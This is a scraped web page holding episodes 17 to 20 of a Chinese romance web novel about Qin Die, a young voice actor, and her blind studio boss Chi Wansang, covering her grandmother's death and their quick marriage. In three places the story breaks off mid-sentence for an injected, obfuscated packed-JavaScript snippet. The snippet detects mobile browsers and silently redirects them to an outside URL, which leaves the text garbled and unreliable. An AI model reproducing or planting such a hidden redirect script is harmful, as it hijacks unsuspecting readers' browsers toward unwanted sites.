老头子脸色瞬间垮了下来,没什么意思地回道:“不用。” 池晚桑便也继续面对窗外,故作深沉。 另一边,秦叠和陈如意两人走得心照不宣,眉来眼去,气氛诡异,终于,秦叠忍不住问了句: “外婆,有什么话直说吧,你这说不清道不明的眼神,看得我鸡皮疙瘩起了一身。” 陈如意眼神亮了亮,“你,和小池什么意思?” “什么什么意思?” 陈如意啧了一声,“那我问你,为什么不告诉他你是谁?” 秦叠像是被戳中心事般,有些心虚地撇嘴,眼神晃了晃,“我入职可不是靠后门,这凭真刀真枪杀进去的,外婆你不为孙女我感到自豪吗?” 陈如意不屑地乜了眼秦叠,喃喃两句:“不说就不说,还以为老婆子我什么都不知道?” 街道车水马龙,人群如梭,秦叠牵着外婆慢慢地走着。 她真的是为了公平竞争才没暴露自己身份吗?可那向池晚桑求婚怎么说,虽说有一半原因是抵抗爸妈,那另一半呢?池晚桑已经失明这么多年,衣食住行早就形成自己的习惯,她非要横插一脚,端茶倒水的,别人不难发现她的意图,可她到底是什么意图? 同情?念旧?破罐子破摔? 她叹了口气,把外婆往酒店大厅引,却被外婆忽然停住给绊了一下。 “还要把我锁在这酒店里吗?享受两天就好了,带我去看看你的家。”陈如意将她拉回身边,“我可没忘我这老胳膊老腿坐了那么久高铁折磨,到底是为了什么?” 为了什么,还不是为她这个不省心的。 秦叠讪笑了下,知道终究是躲不过去的,方向一转,走向旁边略显破旧的居民楼。 还没走近,就听见门里传来惠熙和秦时的争吵声。 “我说当时你要是争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460836|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气,挡住门,我冲进去问问秦东柏,到底认不认我们,还至于面都没见着吗?” 这是惠熙尖锐的嗓子。 “我有什么办法,人家不愿意,你还想硬来,被警察带走,我们这老脸还要不要了?” “你要脸,你要脸!”惠熙的声音终于带着不可控的抽泣,嘶吼,“可是我想要我的儿子!” 明显,今天两人又去找了秦东柏,虽然见着对方父母的面,但态度强硬,说自己辛苦养了这孩子几年,一没偷二没抢,尽心费力当做自己亲生骨肉地付出,如今半路杀出个程咬金,二话不说就要带儿子走,门都没有。 “你脾气太急了,下次让小回去,她和她哥哥关系好,应该能说上话……” 秦叠听不下去,忽地把门打开,见着来人,里头总算清净了半晌。 秦叠看着久违的出租屋,刺鼻的烟味,满地烟蒂,冰箱里两人带来的东西被消耗地差不多了已经,只剩下她喜欢的辣椒酱没动。 “你还知道回来,李想那小子多好,还专门来连阳找你,结果你呢,两句话就给人堵走了,还工作忙,我看你一天天没事干,游手好闲,忙个屁!” 惠熙有气无处发,看见秦叠,劈头盖脸就是一顿。 陈如意冷脸转身将秦叠推出门,温言细语对孙女说:“你在外面玩一会儿,我和他们说两句。” 秦叠还想挣扎,却在三名长辈面前,被当成不能参与任何严肃话题的小孩,也知趣地退了出去。 走廊里窗户的玻璃裂了,本来浑浊不堪的玻璃在裂缝处却透出难得的清澈。角落有一只指甲盖大小的黑色蜘蛛慢悠悠吊着丝来回织网,上面一个猎物没有,却已经沾染一层灰。 秦叠百无聊赖看着它来回地移动,网越织越大,足够将自己套住。 终于门开了。 外婆进去后,里面没有起冲突,声音极小,她听不见三人到底说了什么,只看见外婆被秦时和惠熙一人扶着一边走出来,墙边是已经收拾好的行李。 “怎么了外婆?”秦叠猛地站起,想要上前扶住,却没有自己的位置。 陈如意不介意地笑笑,“老毛病了,腰椎问题,治不好,回去养养就好了。” 秦叠有些不可置信地看向旁边的爸妈,惠熙脸色并没有很好,勉强不让语气太冷,“这几天辛苦你了,我们先回去,你……” 伴随着轻微的叹息,秦叠知道事情暂时结束了。 送走三人,她恍若隔世地躺在自己床上,混有焦烟味的床单和东西都被她打扫过一遍。 在秦东柏这件事上,她一点忙没帮,也许能理解秦东柏和他现在父母的决定,但她的立场又为秦时和惠熙两人不甘。 眉间阴云无法散去,借着疲惫,乱成一团的心绪才找了个空隙悄然入睡。 第二天,她来得没有往日早。 沈桉羽刚进门扫视一圈,问:“今天秦叠来吗?这家伙刚入职,请假也太频繁了,她这情况……” 池晚桑冷冷打断她:“专业能力强就行,细枝末节不用在乎。” 过了会儿,像是怕自己表达不清楚,又沉沉说了句,似在表态,“秦叠,可以留下。” 沈桉羽:…… 之前到底是谁说的,工作室不养懒人…… 17. episode17 周边杂事变少,生活风平浪静,工作室的事情却多了起来。 领证的事于是一拖再拖。 秦叠又恢复了工作室披星戴月,晨出晚归第一人,除了偶尔池老板来得更早外,她基本稳居第一。 拉开玻璃门,没锁。 里面黑洞洞似乎没人,不过秦叠知道应该是池晚桑来了,看了眼门口的狗窝。 一坨黑乎乎的东西正悠闲地趴在那里均匀呼吸,深棕色圆眼睛瞬也不瞬地盯着来人。 秦叠早习惯了这黑狗表面不可一世,实则内心是个撒娇小姑娘的事实,蹲下去,揉了揉岫白的毛,看了眼池晚桑倒好的狗粮被吃得一干二净,只剩下些角落里的残渣,不由地嗔怪了句: “胖狗。” “它胖吗?” 池晚桑像个幽灵一样,忽然出现在她身后,甚至连脚步声都没有,秦叠吓得手里动作重了点,手下的岫白正享受着爱.抚,忽然力道变重,委屈地呜咽了声。 “对不起对不起。”秦叠忙不迭揉了揉。 这么温柔聪明的导盲犬,弄坏了她可赔不了。 以为她没听见,池晚桑又问了句:“它胖吗?” 对待这样一个话题,语气里竟有几分认真和严肃。 天气渐热,他此时只穿了件纯色亚麻短袖,衣料轻薄,松垮休闲搭在身上,却能隐隐约约看见其下薄肌,块垒分明。 他还站在原地,手里捧着刚接好的水,甚至可以说乖巧地等待秦叠的回答。 “啊,就是,有点胖了,你经常放它假,估计这几天养的,不过还好。” 秦叠站起来,却没想到池晚桑站得这么近,她额头刚及他下巴,此时额前碎发都能被他的呼吸带起。 一阵若有似无的檀木香味。 这个人,和他的家一样,给人干净,舒服的感觉。 “嗯。”池晚桑转身,一手插兜,一手端杯,信步朝办公室走去,若是之前的秦叠,恨不得跑上前护驾,扫清一切障碍物。 但现在,她相信他。 相信他可以。 走到门口,他忽然转身,朝着秦叠这边开口:“对了,上次广播剧有个高.潮片段大家一起配,你没事可以来学习一下。” “好。”秦叠巴不得应下。 这哪里是学习,简直是享受。 如果说之前大佬们一起开会商议情绪如何给到位,漫不经心一句都能挑拨秦叠心弦,这次全员严肃对待,闭眼仿佛就能跟着他们一起进入那个生杀予夺的世界。 秦叠站在配音棚外间,与里面的人隔着一层玻璃,却仿佛隔了一个世界。 池晚桑只带了一边耳机,手扶着右耳的耳机,秦叠霎时像在他眼里看见了光,这种专注度透过那无焦距的瞳孔,竟也泛出点点星光。 全神贯注,全身心沉浸在角色中,让他眼里重新有了太阳。 秦叠似乎知道他为什么要选择这个职业了。 过了半晌,池晚桑出来喝水,秦叠殷勤地递上去,顺便夸了阵彩虹屁。 池晚桑忽然说:“耳机只带一边,可以在听到里面声音的同时,感受自己的声音,能够更好调节和控制发声。” 他,是在教她。 秦叠这种理论包袱一箩筐的大学生,在实战中往往是最先丧命的那个,仗着自己头脑里的东西,以为能笑傲江湖,没想到江湖险恶,在实战中摸爬滚打的老道才不会手下留情。 秦叠征住半晌,有些感动,连声说记下了,忽然像是想到什么,吞吞吐吐。 “想说什么?”池晚桑仰头喝完杯中的水,喝的太急顺着脖子流下一滴,跟着喉结上下移动,他不慎在意地用手背擦了擦。 “想说什么就直说,你这怕东怕西的毛病,在聆镜不用留了。” 秦叠回过神来,慌张道:“我看聆镜的合作项目多是广播剧,并且在这方面已经做出成绩,但我觉得这几年聆镜迟迟没有起色,是因为……” “噢。”池晚桑轻笑了声,挑眉道,“你刚入职的时候我说过什么,还记得吧。” 秦叠有些着急,她并不是这个意思,“记得,不过我觉得池老板您既然在招人,就说明现在的管理模式有些应付不了聆镜的发展了。” 她心一横,继续道:“既然如此,我觉得工作室可以尝试拓展业务,在游戏,电视剧等领域多多涉猎,对聆镜百利而无一害。” “当然,我没有说卷起来的意思,聆镜的风格就是这样不紧不慢,但慢慢来,一样可以做很多事,不是吗?” 之前秦叠就和苏木旁敲侧击过,但看他的反应,秦叠心知肚明大事还得池晚桑说了算。她毕竟是为工作室好,没有什么不能说的。 现在一口气说出来,心里若说原本有五分忐忑,看见池晚桑清冽冷峻的脸后,顿时升到了十分。 其实她说的还算委婉,虽然池晚桑和苏木两人声音优势得天独厚,但要带动工作室六人,明显有些吃力,若长此以往下去,停滞不前,就注定会被洪流淹没。 谁料,他顿了半晌,只是笑笑,和平常并无二样,语气照样温和,“知道了,现在你应该做的事不是操心工作室的规划。” 说罢进入配音间,随手带上门。 秦叠身上的体温瞬间降到零点,反正她该说的都说了,现在就当试炼一番,工作室就算倒闭,她这个员工也能及时脱身。 “小怜,你,当真如此绝情?” 里面的声音重新引起秦叠的注意,池晚桑的角色正处在生死一瞬。 带入情绪只需一秒,果真不简单。 她之前有大致了解剧本,叫小怜的人是故事的女主角,出生不幸,被父母步步紧逼,几欲到了卖身的地步。可就在她心碎欲绝,最后拿着这残存的身体去为父母还钱时候,救了受伤的反派男二。 反派兜里有数不尽的金银,从此舒服住进了小怜家,却看到了两夫妻的伪善,和对女儿的恶毒,一怒之下,某一天,小怜外出时,反派替她解决了这对夫妻。 而此时,外出的小怜遇见男主,一见钟情,了解男主的身世之后更是感同身受,本欲回家辞行,却看见了血淋淋的一幕。小怜无奈带着受伤的反派跟随男主回去复仇,之后男女主日久生情,却也在最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦叠从外面抱进来几瓶水,分发在每个人面前,忽然听池晚桑清了清嗓子,这才安静了下来。 “我想了想,工作室的宣传社交账号还是得运营,刚才秦叠说了些想法,我觉得可行,你们听听。” 秦叠正弯腰将手中的瓶子放下,冷不丁被叫名字,以一个怪异的姿势僵在原地。 “可以啊,小妹妹一来就促进聆镜的改革,这么多年我们都没搞成的,说来听听。”苏木这才转过头来放开可怜的陈藻,双手抱胸,颇有兴味地看向秦叠。 秦叠措手不及地梳理了一下自己到底和池晚桑说了什么,紧张得出了一头冷汗。 最后会议桌上方,池晚桑的声音沉稳舒缓地传来,“那你先暂时负责管理聆镜的微博,有什么想法,自己先做做看。” 重任一下子在握,秦叠习惯性想摆脱。 上方那人却只是笑笑,似乎很相信她。 “慢慢来,也能做出点什么,不是吗?” 18. episode18 秦叠刚开始掌握微博运营权时,举止行动间都带着小心翼翼,生怕一个不小心就被夺了权。可后来发现这家工作室因为长期不运营社交账号,即使如今有人在管,也以为翻不起风浪,多余的眼神都不分给她。 于是,按照之前跟着一些追星师弟师妹相处聊天得来的经验。如今这个环境,循序渐进出人头地的机会不大,反而另辟蹊径,做一些哗众取宠,风马牛不相及的颠事能够一下子吸睛。 于是,凭借对池晚桑的极度自信,她首先把工作室老板的照片贴了上去。 没过几天,林桐悄悄找上门,让秦叠删掉这个照片,说池老板不喜欢抛头露面,如果被他发现,触了逆鳞,这个好不容易推起来的招就要废了。 秦叠连忙一口气删掉所有照片,心惊地看了眼猛涨的评论和关注,装作无事发生的模样,想着幸好是林桐发现这件事,如果换个人,或者把这件事闹起来,她以后还混不混的下去都说不定。 再过不久便是中元节,池晚桑要回去祭奠外婆于是给整个工作室都放了假。秦叠觉得新奇,从没听过中元节也能成为假日,这么出其不意的工作室,她很满意。 可刚坐在自己小床上思考未来两天的规划,一通关于外婆的电话直接让她瞬间奔忙了起来。 人老了,便要活的格外小心谨慎,身体机能下降不说,骨骼也脆了不少,洗澡的时候,逛街的时候,随便摔一跤,就能给这辈子画上句号了。 秦叠常告诫陈如意凡事慢慢来,但说多了又像是看不起老年人,让年轻时轻狂恣意习惯了的人服老,并不是一件容易的事。 于是,当电话里传来惠熙浓重的鼻音时,她一时间像是被多年前自己说过的话扇了一巴掌,呆在原地。 外婆去世了,消息很突然,似乎一切又有迹可循。 几天前还通过电话,说自己现在看抗日神剧也觉得没啥意思,说看到半夜还是好那一口面条,说明天早上一早就要和隔壁王老太太一起去把地里种的空心菜摘去卖了,换点钱给秦叠买件裙子,秦叠笑她那点钱怎么够…… 知道她是个不服老,坐不住的性子,陈如意早早就给自己准备好了死后要穿的衣裳和棺材,没花子孙一分钱,全是她自己一天天去街上卖菜挣的。 她爱干净,不喜衣裳太艳丽,但选来选去只有那几种鲜艳的配色,便挑了件绸缎面料明黄色的长衫,仔仔细细叠起来放在衣柜里。 选棺材的时候她有些害怕,把秦叠叫了回去,是祖孙俩一起去看的,以后长眠的地方,不能太空旷,黑漆漆的不定给什么东西挤占了,也不能太小,会憋闷得透不过气。秦叠当时谈不上高兴,也知道这件事是必然的,选来选去才定了一款。 没想到这么快就派上用场了。 想来之前外婆赶车来连阳的时候,就有些不对劲,老是说自己腰酸背痛,好像身上每个地方都不对劲。如果她当时不急着避开爸妈,不老是担心自己刚找的工作被搅黄,多执拗一分,拖也把她拖去医院,情况会不会有所变化? 秦叠看着满目惨白的悼联和白绫,黑色正楷字死气沉沉,寥寥几笔似乎能将躺在那儿的人一辈子概括,她眼眶里挤不出泪水。 夏天去世的人没福分,他们这家人还真是没福分,拖累了外婆。 惠熙不知何时走到她身后,跪在旁边,有些神经叨叨地说:“东柏联系我们了,说他缺钱,你,能不能给点?” 竟是这样一个开端,秦叠胸中愤懑不觉涌上来,语气也是森森的,嘴角自己也没注意到扬起凄惨的笑意,“我能有什么钱,交完房租学费,还能剩多少?他以这个为条件要挟你们?” 秦叠哼了一声,记忆中的秦东柏早就不见了,“外婆的葬礼他来了吗?以前外婆对他有多好不用我说吧。” 惠熙眼里也是木木的,“他不知道,知道一定会来的。我们就这一个儿子,你就他一个哥哥,能不能匀一些?” 秦叠有些不可思议地看着惠熙,他们不是就这一个儿子,他们是就这一个孩子吧,她眼睛弯了起来,“好。” 她倒要看看给了钱是否就能将儿子要回来,买回亲生儿子,还真是头一遭听说的怪事。 晚上来悼唁的人便少了,秦叠一个人坐在白帆里守灵,本是需要长子长孙来做这样的事情,她一个女孩连资格都没有,但她乜了眼旁边支起的一张麻将桌,还有桌上吆五喝六的四个男人,不屑地转过头去。 他们,好像还不配。 村子里没有路灯,以前夜行全靠月光,顶多举着一把火把,后来电筒手机问世,前方亮起一个小光亮就知道来人了。 不过村里地广人稀,荒郊野岭打着电筒遇见什么都好像不奇怪,于是不知从哪儿冒出的传言,说一人在走夜路的时候前面遇见一个人,没打灯,好心上前帮她照路,却发现哪里是个人,前后都是长发,整个脑袋就是长了毛的球。 自此以后走夜路的人又换回火把,还能当个工具用。 这一带来的人少,村道在黑暗里根本看不清,月光不亮,只能依稀分辨远处天与山交接处起伏的朦胧曲线。 忽然听见暗处传来敲击声,没有节奏,缓慢而低沉,“咚咚咚”“咚咚咚”,麻将桌上烟雾缭绕根本没有人注意,可却清晰地传到秦叠耳朵里。 她警惕地回头望去,漆黑的乡道上似乎有个黑影在动,极其缓慢,越走越进,像是个男人的影子,高挑颀长,移动过程中伴随不停的敲击声响。 她不自觉捏紧拳头。 “谁?” 旁边桌上的人被她这一声惊呼给震住,也发现了乡道上的诡异,其中一人慌张地站起来,起身间裤子带着旁边的凳子倒了一片。 “鬼,鬼啊!” 听到这边一阵混乱,那黑影才停住,然后秦叠听见熟悉的声音在黑暗中传来,“请问有人吗?我在山上摔了一跤,能借宿一晚吗?” 黑夜沉沉,这人的语气却尽显温柔,有些无奈,但仿佛能融化了这片黑暗。 “池老板?” 她狐疑出声。 那身影听见这一问,也顿在原地,半晌才缓缓开口,“秦叠?” 这人走夜路不照亮,因为本就失明,又何必多此一举。 她把池晚桑安顿下来,故意离那群抽烟打麻将的人远些,递给他一杯茶水,“我外婆去世了。”说罢,又想起什么,开口道,“她吃不到你做的饭了。” 池晚桑接杯子的手一顿,脸上神情暗淡了下去,睫羽低垂,轻轻扑打在脸上,像是在哀伤。他长相不算张扬,下颌线分明,线条却柔和,此时灯下,脸上还有淡淡泥污,应是他说的摔了一跤。 半晌,他开口道:“下回,我带着饭菜一起来祭奠她。” 秦叠叹了口气,在他旁边坐下,“之前外公去世的时候,她哭得可难过了,今天却没人掉一滴眼泪,我也没有。” 她看了一眼池晚桑,似乎想安慰自己又不知道从何说起,问道,“你外婆是怎么去世的?” 池晚桑暗了暗眸子,低头玩弄手中的 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“没了,谢谢你。”池晚桑微微笑着,“我今晚就在这儿陪你,不用分心照顾我。” 忽然,他像是心血来潮,问道,“这根录音笔是什么颜色的?” 秦叠心头微悸,“红色,怎么了?” 池晚桑摇摇头,“就知道苏木说的黑色是骗我的。” 她也跟着惋惜地笑了笑,“他也是为了你好,颜色多点,看着明朗些。” “真的不用睡吗?” 池晚桑摇摇头,今晚他的话似乎比以往更多些,语气也更温柔些,“不用,我听你经常扣什么,是受过伤吗?” 秦叠这么微小的动作被发现,有些不好意思,“这个,是小时候烫伤的,没想到这么久了,偶尔还是会痒。” 一听就不是简单的烫伤,池晚桑问:“怎么弄的?” 秦叠耸耸肩表示无奈,“就是哥哥不见那天,我回去的时候刚好撞上他们两个吵架,刚烧好的开水壶没人注意盖上盖子,就放在桌上。我过去的时候更没注意,直接泼在了腿上,不过早就好了。” 她说得轻描淡写,好像只是被蚊虫叮咬了一样,不甚在意地笑笑。 可她却没说,当时没人注意到她,这么大的动静,可她当时瞬间就成了隐形人,好像和哥哥一起失踪了。小孩子什么都不懂,胡乱等着伤疤自愈,又忍不住用手去扣,就一直要好不坏地拖到现在。 忽然,他伸手将蹲在面前的秦叠抱住,两人与旁边的人隔了一道白布,秦叠不愿意他们对池晚桑的眼睛评头论足,将将遮住他们看过来的视线。 池晚桑将头搭在她肩膀上,温热呼吸均匀喷洒在纤细的脖颈,他也愣住了,自己会冲动做出这样的举动,一动不动。两人肌肤在夜风吹拂下都是冰凉的,猝不及防接触,分不清谁起了一身鸡皮疙瘩。 分明只是对这个女孩的遭遇感到难过,却像是一个旧友,所有的痛苦都源自内心深处,穿越时间空隙,来自多年以前的忽略。 猝不及防被这么一抱,秦叠不太敢动,轻声问:“怎么了?” “节哀顺变。”他轻轻说着,语气没有白天来的人那么敷衍,沉痛的语调似在敞开心扉,愿意与她分担所有不幸。 “谢谢。” 秦叠拍拍他的背,两人才慢慢分开。 池晚桑忽然说:“回去之后就领证吧,你说的互相照顾,也挺好不是吗?” 19. episode19 第二天池晚桑还没走的时候,秦叠接到一通电话,她警惕地看了眼坐在旁边的池晚桑,无焦距的瞳孔里看不出他到底睡着没有,和平常一样,安静地坐着,吐纳均匀。 秦叠抄起电话,蹑手蹑脚就要拿走。 忽然,身后传来沉沉的声音:“我闭着眼睛睡觉。” 秦叠尴尬僵在原地,没和他多说,对着电话那头喂了一声,之后听对方滔滔不绝的询问和解释,她楞在了原地,嘴里只有不时回应一声“对”“是我”“没问题”。 电话那头是保险公司打来的。 原来外婆一直在给自己交保险,从哥哥丢的那年开始,已经坚持了这么久了。那时的她还只是一个懵懂的娃娃,不论她是否成功,是否听话,外婆爱的一直都是最平凡的那个秦叠,褪去所有修饰,最原本的她。 秦叠最后是颤抖着和对面说再见的,一直以为自己是孤零零的,没想到外婆走之后还念着自己,这笔钱竟从未向任何人提起。说是她的梦想基金,秦叠忽然有些哽咽。 “怎么了?” 池晚桑像是听出了她语气里的变化,关切地“看”向她这边。 一直没等到回答,竟有些焦急,摸索着起身就往这边走。 秦叠拉住他,抑制住上涌的情绪,忽然将头抵在池晚桑胸口,就这样靠着他,尽力缓解胸口不住的起伏。 “没什么,我外婆帮我投了保,我现在也是小富婆了。”秦叠破涕而笑,看着眼前的人,心中莫名有些温暖。 池晚桑没动,只感受到胸口处,透过衣衫,不断有温热的体温传来,不自然地抬手在秦叠后脑勺摸了摸,像是在安慰什么小动物。 “谢谢你,池晚桑。” 女孩的声音闷闷地从胸前传来,小声,带着鼻音。 池晚桑轻笑了笑,“也谢谢你。” 以前的秦叠才是货真价实的小富婆,性子活络,在学校里鬼主意多,又是卖杂货,又是帮写作业,逢年过节遇上两个八辈子远的亲戚,嘴上抹蜜,几声叔叔好阿姨好,兜里就鼓鼓囊囊起来。 相反的,秦东柏和池晚桑两个小男子汉,面皮却薄,宁可食无肉,不可居无竹,端得是高风亮节的牌子,对秦叠这种花言巧语,邪门歪道向来是不屑的。 于是每逢三人一起逛集市,秦东柏都会向秦叠“借”上几块钱,秦叠也是大方地给,从不吝啬。有一回秦东柏说要请三人吃饭,结账的时候才发现没带钱,池晚桑自然也是穷光蛋一个。 “妹妹,我今天本来是想请你俩吃顿好的……”秦东柏拐弯抹角,磨磨蹭蹭,借钱之意又呼之欲出。 秦叠自然会意。此时,她潇潇洒洒从兜里掏出一叠花花绿绿的票子,最外面竟然还有两张红色的。 秦叠当时对钱并没有太多概念,在两位哥哥瞠目结舌的注视下,她就这样显宝地一本正经数钱。 “你,你怎么有这么多钱?”秦东柏被这小姑娘的财力给吓了一跳,虽说知道她在学校里做些“小生意”,但没想到简直是个富婆。 两百多块,对三个十几岁出头的小孩简直是笔巨款,反而这“巨款”的主人眼皮一掠,似是不满意数钱被打断,沉着脸说: “自己攒的呗。” “看着你们俩当我跳皮筋桩子的份上,今天这顿饭我请了。” “谁说了要帮你绷皮筋啊?” “还吃不吃饭?” “绷!我最爱帮小女孩绷皮筋了!” 想不到过了这么久,秦叠又在池晚桑面前当了一回小富婆,只不过这资格是外婆给的,而对面的人,也只剩他一个。 秦叠站直,想起池晚桑不算宽敞的家,还有略显局促的小区治安,任重道远地拍了拍他的肩膀,“放心,我会帮你重整聆境光合的。” 秦叠将池晚桑送到了火车站,她后天再走,看着池晚桑忽然停在检票口,朝她的方向“望”了“望”,似乎是不放心,秦叠心里涌起一股暖意。 虽然明知他看不见,隔这么远,她还是笑着招了招手。 似有感应般,池晚桑微微点点头,继而转身离去。 回去修整后的第一件事,池晚桑决定把这件事告诉瞎老头。 “我要结婚了,不办婚礼。” 他开门见山,门还没关就说了出来。语气平静,四个字冷冷概括,像是在说刚才来的时候堵车了一样。 听的人正在喝水,却被这个突如其来的消息给吓得生生呛了出来。 “什么?你小子要吓死我啊。” 黎叔对池晚桑是亦师亦友的存在,这些年虽说是池晚桑一直陪着他,但每周固定走这么远的路,何尝不是两人在相互陪伴。 虽然算不得真的结婚,但他还是想告诉他。 “对方也是个盲人?”黎叔小心问道。 “不是。” “长得很丑,家境很惨,有求于你,你勒索威胁别人以身相许?” 池晚桑:“……黎叔,你能不能正常一点。” 黎叔这就奇怪了,“那你之前不是说一个人凑活活嘛,不想耽误别人,这怎么突然结婚,是哪个小姑娘,带来给我看看。” 池晚桑走过去坐在窗边的椅子上,不屑地说:“你看得见吗?还看看。” 黎叔也坐在他对面,翘起二郎腿,眯缝着眼睛幻想,“我以为你未来的媳妇,一定是大长腿,身材好,穿着高跟鞋,走起路来噔噔噔地响,杀伐果断,相貌又美,才能将你牢牢控制住。声音不能太软,硬气一些,但不乏娇媚……” 池晚桑忍不住打断他,“你这说的不是你的理想型吧……” 不仅秦叠和他描述的毫无关系,池晚桑心中那个人更不会是这个样子。 黎叔笑笑,稍微敛去玩笑的神色,此时才有了长辈该有的和颜悦色,“有空带来看看我,别人既然愿意,不论什么原因,你记得对别人好点。” “知道了。” 黎叔心中像是有百般感慨,池晚桑本来性子就闷,他不愿意多说,自己也不多问。 只是黎宜自己没有孩子,这些年和池晚桑朝夕相处,早就把他当做了自己的儿子,之前以为这小瞎子会和自己一样孤独终老,现在可以放心了。 只不过他的婚姻大事,决定的如此突然,略显草率,黎宜心中还是惴惴的。 两人沉默了好一阵,像是想起什么,黎宜忽然高声说:“听了你们工作室新接的广播剧,小子配得不错,就是更新太慢了,有没有内部渠道给黎叔听听?” 说罢他还模仿了池晚桑的角色台词,来兴致地表演了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13503076|141719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句。 “没有。”池晚桑唇角微微上扬,还是拒绝得果断。 “啧,小没良心的。对了,之前有个志愿者小姑娘很喜欢你的做饭视频,说你很久不更新了,还挺难过的。你要是不忙的话,记得多更新几集。” 池晚桑无奈:“黎叔,你把我当什么超人了,样样都得得赶上是嘛?” “不过,什么志愿者,你别被人给骗了。” 黎叔咂了咂嘴,“我有这么笨嘛,是一个叫myeyes的软件,上面有志愿者帮盲人解决问题,我看小姑娘能聊,多聊两句怎么了。我一又瞎又穷的老头,别人能骗我什么?” “说到这个软件,你也可以用用,还挺方便,志愿者挺多,等一会儿就有人应答,不信我给你演示一遍。” 池晚桑连忙拦住他:“知道了知道了,你当志愿者闲着没事干专门陪你聊天的,没事就别打扰人家。” 黎叔笑笑,将双手枕在脑后,闭着眼睛享受阳光洒落在脸上的感觉,“唉,知道了,你最好是要结婚了,有个人照顾你,这样的倔脾气,又要强,老了看你怎么办。想和我一样住养老院都没办法,没有第二个池晚桑来看你喽。” 两人有一茬没一茬地坐在窗边闲聊,这样的大事总能让人回忆过去,从初见到现在,竟也过了这么些年。 池晚桑从养老院出来的时候,顺手打了通电话,有些不自然地问: “你,到了吗?需要来接你吗?” 秦叠将手机夹在耳朵和肩膀间,一只手在货架上选零食,“到了到了,正在超市买点零食回去屯着,犒劳犒劳自己,你等等我。” 电话那头传来一阵轻笑,“你还挺容易满足,看样子是经常犒劳自己。” “可不是嘛。” 秦叠的声音又恢复了往日里的生气,笑着回复,“你在民政局等等我,我结完账就来找你。” “好。” 秦叠拿着一大袋东西窸窸窣窣地走,看见池晚桑站在民政局门口,一动不动,面容姣好,眼睫慢慢地煽动,身长而立,乖巧的样子,吸引了过路人不少眼光,但他却一无所知。 一时动了玩心。秦叠悄悄地打算从背后偷袭,却还没走进,听见池晚桑说:“到了。” “你怎么知道?”秦叠一时泄了气,竟有些委屈。 “东西买太多了。” 塑料袋簌簌响动越来越近,发现不了才是问题。 秦叠抬起一只手,笑着道:“给你买的,家里屯些零食,幸福感会提升哦。” 池晚桑笑了笑,从兜里掏出一个小瓶子,“我也有东西给你,腿上的伤不要扣,每天涂一遍这个药膏,能祛疤。” 说罢池晚桑打开盲杖,敲敲击击,是在找墙壁,他习惯了缩边走,不容易迷失方向。 “进去吧。” 秦叠一把拉过他的手,挽在自己手臂上,牵动起一塑料袋的零食袋子簌簌作响,温声道: “以后跟我一起走,不用一直靠边找建筑物了。咱走大道!” 结婚手续办得极快,两人都没什么感觉便成了合法的夫妻,从民政局晃晃悠悠走出来,听见后面盖章处一声声恭喜,秦叠也有些恍惚。 这,就结完了? 那要不要问问,要一起住吗? 20. episode20 扭扭捏捏,别别扭扭,尴尴尬尬的气氛一直蔓延到工作室,甚至感染了周围的人。对陈藻来说这种气氛早就习以为常,不过苏木瞪着眼睛看周围人局促的模样,差点以为自己犯了天条,怎么都是一副到死不活的模样? 此时池晚桑斜倚在办公室门边淡淡开口:“秦叠?” 秦叠放下手里剧本,转身道:“我在。” 池晚桑点点头:“待会儿有个艺人过来配音,你帮着点忙。” 艺人? “艺人!”沈桉羽首先惊呼,“池老板这是都勾搭,呸,联系上娱乐圈的人了?聆镜果然开始变了。” 林桐问:“池老板,是谁啊?” “刚出道的小孩,姓王。” “我去吧我去吧!”沈桉羽自告奋勇,好歹是娱乐圈的人,抱着看热闹的心理,她很想看看。 没想到池晚桑却丝毫不容拒绝:“你今天的东西都配完了吗?让秦叠跟着熟悉一下流程。” 按理来说,平常的池晚桑是几乎不管工作室的运营,大家也十分自觉,工作毕竟不重,没有出现过失误或者延期的情况,于是形成了良好的生态循环,各管各。 今天池晚桑一反常态,若是放在普通老板身上,说是照顾新人不为过,可放在这位对女性退避三舍的池老板身上呢,着实有些耐人寻味。 听到这话,四人都放下手里的工作,齐刷刷,悄摸摸向秦叠投来好奇的目光。这两人在面试之前就见过面,池晚桑还特地点出她的声音记忆点很深,然后秦叠就顺利地进入工作室。 “有鬼……”陈藻复又将视线移到手中剧本,轻飘飘说了句。 “赞同。”沈桉羽将剧本挡住脸,露出一双眼睛滴溜转了下,埋下头回应。 来的客人果然是新得不能再新的新人,不过女人长得娇艳明媚,身材修长,气质绝佳,不会是长久埋没的尘土。 秦叠从她对待自己第一部戏的态度也看出来了,作为配音小白,面对配音间复杂的仪器和规矩,这位王小姐丝毫没有怯场。剧情推动到高潮情节时也稳得住气,情绪随意调动,一看是有备而来,录制得十分顺利。 一天工作下来,还没到五点,佛系工作室的工作人员就走得走,跑得跑,秦叠揉了揉太阳穴,刚完成善后工作,金色太阳已经在皮质沙发镀上一层柔光。 